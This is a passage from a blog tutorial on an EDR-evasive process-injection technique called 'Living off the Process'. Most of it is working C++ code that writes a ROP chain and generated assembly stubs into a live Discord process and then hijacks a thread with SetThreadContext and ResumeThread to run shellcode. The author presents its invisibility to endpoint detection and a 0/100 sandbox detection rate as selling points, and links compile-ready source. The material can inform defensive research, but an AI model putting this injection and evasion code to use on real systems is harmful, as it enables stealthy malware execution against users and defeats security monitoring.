<p>At this point I’ve went into SystemInformer and opened up the Discord process running under PID 9292, navigated to the <code class="language-plaintext highlighter-rouge">Memory</code> tab, and copy and pasted the value for our <code class="language-plaintext highlighter-rouge">gadgets</code> memory address.</p>

<p><img width="1163" height="547" alt="image" src="https://github.com/user-attachments/assets/8d90286f-fadb-4cd8-8354-26e328df86c5" /></p>

<p>Double-click on the memory region once it shows up and you’ll see the entire ROP chain of all our gadgets, most of which are comprised of this gadget: <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret</code> and the final <code class="language-plaintext highlighter-rouge">pop rsp, ret</code></p>

<p>In between each gadget address is the placeholder address for our assembly stub code cave</p>

<p><img width="924" height="200" alt="image" src="https://github.com/user-attachments/assets/244bcf78-37a3-499f-b290-a7c0aa8e466b" /></p>

<p>I can attach x64dbg to Discord and go to the first gadget address and see it does in fact point to our <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret</code> gadget!  The stub address we won’t go to just yet.</p>

<p><img width="982" height="345" alt="image" src="https://github.com/user-attachments/assets/0348fea9-f49d-4fbd-a91a-22c2b83c043d" /></p>

<p>By the way, the final <code class="language-plaintext highlighter-rouge">pop rsp; ret</code> gadget (see code snippet below) will pop the address of the fake stack which will be pointing to the address of our shellcode after it’s written 😺  Sort of my inventive way of using a clean stack while executing shellcode in another memory region.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// After all the write gadgets...</span>
<span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">pgadget12</span><span class="p">);</span>  <span class="c1">// pop rsp; ret  </span>
<span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">safeStack</span><span class="p">);</span>  <span class="c1">// Set RSP to safe stack</span>
<span class="c1">// Now ret will pop the remoteShellcode address from safeStack + 0x3F00 and jump to the shellcode!</span>
</code></pre></div></div>

<p>Here’s the code for this entire section we’ve just covered above:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//**********************************************************</span>
<span class="c1">// ROP Gadgets Prepwork</span>
<span class="c1">//**********************************************************</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Building ROP chain with code caves for our assembly stubs..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">// Calculate sizes</span>
    <span class="kt">size_t</span> <span class="n">addr_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">);</span>
    <span class="kt">size_t</span> <span class="n">base_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode_base</span><span class="p">);</span>
    <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="n">shellcode_base</span><span class="p">;</span>

    <span class="c1">// Calculate number of 8-byte chunks</span>
    <span class="kt">size_t</span> <span class="n">numChunks</span> <span class="o">=</span> <span class="p">(</span><span class="n">base_size</span> <span class="o">+</span> <span class="mi">7</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Shellcode size: "</span> <span class="o">&lt;&lt;</span> <span class="n">base_size</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes ("</span>
        <span class="o">&lt;&lt;</span> <span class="n">numChunks</span> <span class="o">&lt;&lt;</span> <span class="s">L" chunks)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">// Allocate memory for code stubs within gadgets region</span>
    <span class="c1">// Each stub needs ~21 bytes, opting to use 32 for safety and alignment</span>
    <span class="n">SIZE_T</span> <span class="n">stubsSize</span> <span class="o">=</span> <span class="n">numChunks</span> <span class="o">*</span> <span class="mi">32</span><span class="p">;</span>
    <span class="n">LPVOID</span> <span class="n">codeStubs</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">remoteGadgets</span> <span class="o">+</span> <span class="mh">0x800</span><span class="p">);</span> <span class="c1">// Offset within gadgets region</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Code stubs will be at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">codeStubs</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">//********************************************</span>
    <span class="c1">// Build ROP chain</span>
    <span class="c1">//********************************************</span>
    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">DWORD64</span><span class="o">&gt;</span> <span class="n">ropChain</span><span class="p">;</span>
    <span class="kt">uintptr_t</span> <span class="n">stubAddr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">codeStubs</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>  <span class="c1">// Skip first stub in ROP chain (executed via RIP)</span>
            <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">stubAddr</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">pgadget3</span><span class="p">);</span>     <span class="c1">// mov [rax], r8; ret</span>
        <span class="n">stubAddr</span> <span class="o">+=</span> <span class="mi">32</span><span class="p">;</span>
    <span class="p">}</span>
   
    <span class="c1">// After all the write gadgets...</span>
    <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">pgadget12</span><span class="p">);</span>  <span class="c1">// pop rsp; ret  </span>
    <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">safeStack</span><span class="p">);</span>  <span class="c1">// Set RSP to safe stack</span>
    <span class="c1">// Now ret will pop the remoteShellcode address from safeStack + 0x3F00 and jump to the shellcode!</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] ROP chain: "</span> <span class="o">&lt;&lt;</span> <span class="n">ropChain</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">" entries"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="c1">//********************************************</span>

    <span class="c1">// Write ROP chain to start of gadgets region</span>
    <span class="n">SIZE_T</span> <span class="n">bytesWritten</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteGadgets</span><span class="p">,</span> <span class="n">ropChain</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span>
        <span class="n">ropChain</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">DWORD64</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] WriteProcessMemory (ROP chain) failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] ROP chain written! ("</span> <span class="o">&lt;&lt;</span> <span class="n">bytesWritten</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">get</span><span class="p">();</span>
</code></pre></div></div>

<p>Next up, we need to write our assembly stubs which will increment both RAX and R8 registers by 8 so each time we write our shellcode chunks (8 byte chunks), we go to the next shellcode chunk and next 8 bytes in memory for the shellcode memory address, respectively.</p>

<h2 id="writing-the-assembly-stubs-for-rax-and-r8">Writing the Assembly Stubs for RAX and R8</h2>

<p>Let’s dive in right where we left off.  Here’s a visual of the code execution for all the assembly stubs getting added to our dedicated Gadgets memory address at the 0x800 mark.  You can see the individual shellcode chunks in RAX and the shellcode memory address we’re writing to.  notice how the shellcode memory address is incremented by 8:</p>

<p><img width="424" height="518" alt="image" src="https://github.com/user-attachments/assets/eb03eb5d-e59e-40fa-961e-cf966e13fb54" /></p>

<p>Now, go back in to <code class="language-plaintext highlighter-rouge">x64dbg</code> which is still attached to our <code class="language-plaintext highlighter-rouge">Discord</code> process.  Copy the code stub address, and in Discord do another control + G, paste in that address, and hit enter.  You’ll see our assembly stubs!</p>

<p><img width="1209" height="574" alt="image" src="https://github.com/user-attachments/assets/03e1c58a-4963-40ea-b9d3-ceb4975c1a55" /></p>

<p>This is where the magic happens folks 😸  This is the indirect writing mechanism I discussed briefly earlier.  We will be indirectly writing our shellcode chunks into the dedicated shellcode memory using the <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret</code> gadget and NOT WriteVirtualMemory.  It will appear to an EDR engine like this is just part of Discord’s normal functionality 😄</p>

<p>Well if you’ve made it this far I extend a massive kudos to you!  I know this is a lot to take in.  We’re almost there though.  First, here’s the code for this section:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//*************************************************</span>
<span class="c1">// Generate assembly stubs to set R8 and RAX</span>
<span class="c1">//*************************************************</span>
<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Generating code stubs..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

<span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">&gt;</span> <span class="n">allStubs</span><span class="p">;</span>
<span class="kt">uintptr_t</span> <span class="n">writeAddr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">remoteShellcode</span><span class="p">;</span>

<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Extract 8-byte chunk from shellcode</span>
    <span class="kt">uint64_t</span> <span class="n">chunk</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">bytesToCopy</span> <span class="o">=</span> <span class="n">min</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">base_size</span> <span class="o">-</span> <span class="p">(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">));</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chunk</span><span class="p">,</span> <span class="n">shellcode_base</span> <span class="o">+</span> <span class="p">(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">),</span> <span class="n">bytesToCopy</span><span class="p">);</span>

    <span class="c1">// Build stub:</span>
    <span class="c1">// mov r8, &lt;chunk&gt;      ; 10 bytes: 49 B8 [qword]</span>
    <span class="c1">// mov rax, &lt;writeAddr&gt; ; 10 bytes: 48 B8 [qword]</span>
    <span class="c1">// ret                  ; 1 byte:  C3</span>

    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">stub</span><span class="p">[</span><span class="mi">32</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="kt">int</span> <span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// mov r8, imm64</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x49</span><span class="p">;</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xB8</span><span class="p">;</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">chunk</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
    <span class="n">offset</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>

    <span class="c1">// mov rax, imm64</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x48</span><span class="p">;</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xB8</span><span class="p">;</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">writeAddr</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
    <span class="n">offset</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>

    <span class="c1">// ret</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xC3</span><span class="p">;</span>

    <span class="c1">// Pad with NOPs</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">offset</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">stub</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x90</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">allStubs</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="n">allStubs</span><span class="p">.</span><span class="n">end</span><span class="p">(),</span> <span class="n">stub</span><span class="p">,</span> <span class="n">stub</span> <span class="o">+</span> <span class="mi">32</span><span class="p">);</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Stub "</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">&lt;&lt;</span> <span class="s">L": R8=0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">chunk</span>
        <span class="o">&lt;&lt;</span> <span class="s">L", RAX=0x"</span> <span class="o">&lt;&lt;</span> <span class="n">writeAddr</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="n">writeAddr</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Write stubs to gadgets region</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">codeStubs</span><span class="p">,</span> <span class="n">allStubs</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span>
    <span class="n">allStubs</span><span class="p">.</span><span class="n">size</span><span class="p">(),</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] WriteProcessMemory (stubs) failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Code stubs written ("</span> <span class="o">&lt;&lt;</span> <span class="n">bytesWritten</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</code></pre></div></div>

<p>Now on to the final section: Setting up our Thread Context and Resuming our hijacked thread to execute our ROP chain and assembly stubs!</p>

<h2 id="the-final-stretch---manipulating-our-hijacked-thread-to-execute-our-rop-gadgets-and-assembly-stubs">The Final Stretch - Manipulating our Hijacked thread to Execute our ROP gadgets and Assembly Stubs!</h2>

<p>Believe it or not, the final portion of code and the conclusion to our Living off the Process demonstration is not too crazy.  We just need to do the following, in order:</p>

<ul>
  <li>Suspend our hijacked thread</li>
  <li>Get the Thread’s current thread context</li>
  <li>Set the <code class="language-plaintext highlighter-rouge">RIP</code> register to our code stubs within the Gadgets memory region and the <code class="language-plaintext highlighter-rouge">RSP</code> register to our Gadget’s primary memory address</li>
  <li>Set the Thread Context to our new Register Values</li>
  <li>Resume the Thread!</li>
</ul>

<p>Here’s how that looks as far as code goes:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">//*************************************************</span>
 <span class="c1">// Set up thread context and execute</span>
 <span class="c1">//*************************************************</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Setting up thread context..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="k">if</span> <span class="p">(</span><span class="n">SuspendThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] SuspendThread failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="n">CONTEXT</span> <span class="n">ctx</span> <span class="o">=</span> <span class="p">{};</span>
 <span class="n">ctx</span><span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_ALL</span><span class="p">;</span>

 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">GetThreadContext</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="p">))</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] GetThreadContext failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">ResumeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="c1">// Set initial state</span>
 <span class="n">ctx</span><span class="p">.</span><span class="n">Rip</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">codeStubs</span><span class="p">;</span>           <span class="c1">// Start at first stub</span>
 <span class="n">ctx</span><span class="p">.</span><span class="n">Rsp</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">remoteGadgets</span><span class="p">;</span>       <span class="c1">// Stack points to ROP chain</span>

 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">SetThreadContext</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="p">))</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] SetThreadContext failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">ResumeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Thread context set:"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    RIP = 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Rip</span> <span class="o">&lt;&lt;</span> <span class="s">L" (first stub)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    RSP = 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Rsp</span> <span class="o">&lt;&lt;</span> <span class="s">L" (ROP chain)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
  <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[!] Press ENTER to execute ROP chain..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">get</span><span class="p">();</span>

  <span class="c1">// Execute!</span>
 <span class="k">if</span> <span class="p">(</span><span class="n">ResumeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] ResumeThread failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] ROP chain executing!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Waiting for shellcode to complete..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Execution complete!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>And here’s a quick video demonstration of walkthing through each code stub and ROP gadget, showing shellcode getting copied to the dedicated Shellcode memory region, and switching over to our fake stack address:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/9sLomBhNa4A" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Apologies that I jumped straight to executing the shellcode toward the end there.  I thought I had more breakpoints set 😆  If you want to see how the entire process plays out in greater detail, I’ll have the full video walkthrough available for those that subscribe to me on ko-fi.  Thanks, and hope you enjoyed this demonstration of my take on Living off the Process.  Until next time!</p>

<p><strong>Full Source Code ready to compile (Be sure to set the Build to ‘Release’ in Visual Studio!):</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2026-1-29-Living%20off%20the%20Process">Source Code</a></p>

<h2 id="bonus-content-for-members-sapphire-tier"><strong><em>Bonus Content for Members! (Sapphire Tier)</em></strong></h2>

<p>📹 In-Depth Video/Audio Walkthrough for today’s blog post: <a href="https://ko-fi.com/s/35ab60ff88">In-Depth Video Walkthrough</a></p>

<p>🗒️ Updated Source Code to go with the Video: <a href="https://ko-fi.com/s/00e5869580">Source Code for Video Walkthrough</a></p>

<h2 id="bonus-content-for-members-emerald--diamond-tiers"><strong><em>Bonus Content for Members! (Emerald + Diamond Tiers)</em></strong></h2>

<p>📓RWX Scanner Tool for detecting RWX memory regions in all processes <a href="https://ko-fi.com/s/4a8a0dc254">RWX Scanner Tool</a></p>

<p>📹📓 Video walkthrough + Source code for Assembly to Machine code &amp; Rop Gadget lookup toolkit!: <a href="https://ko-fi.com/s/825b8ee3e4">Video explaining ROP gadget and Assembly to Machine Code Tools</a></p>

<p>📔 LOTP Exclusive Final Code Update - Hijacking a worker thread <a href="https://ko-fi.com/s/12ba29993b">LOTP &amp; Hijacking a worker thread</a></p>

<h2 id="anyrun-sandboxing"><strong><em>ANY.RUN Sandboxing</em></strong></h2>

<p><strong>0 / 100 Detection Rate!!!:</strong></p>

<p><img width="1051" height="377" alt="image" src="https://github.com/user-attachments/assets/62edfbf8-2345-49ee-a30a-860f78cca223" /></p>

<p><a href="https://app.any.run/tasks/7c5f7772-79b3-41a0-8ad0-863095cf6e48">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

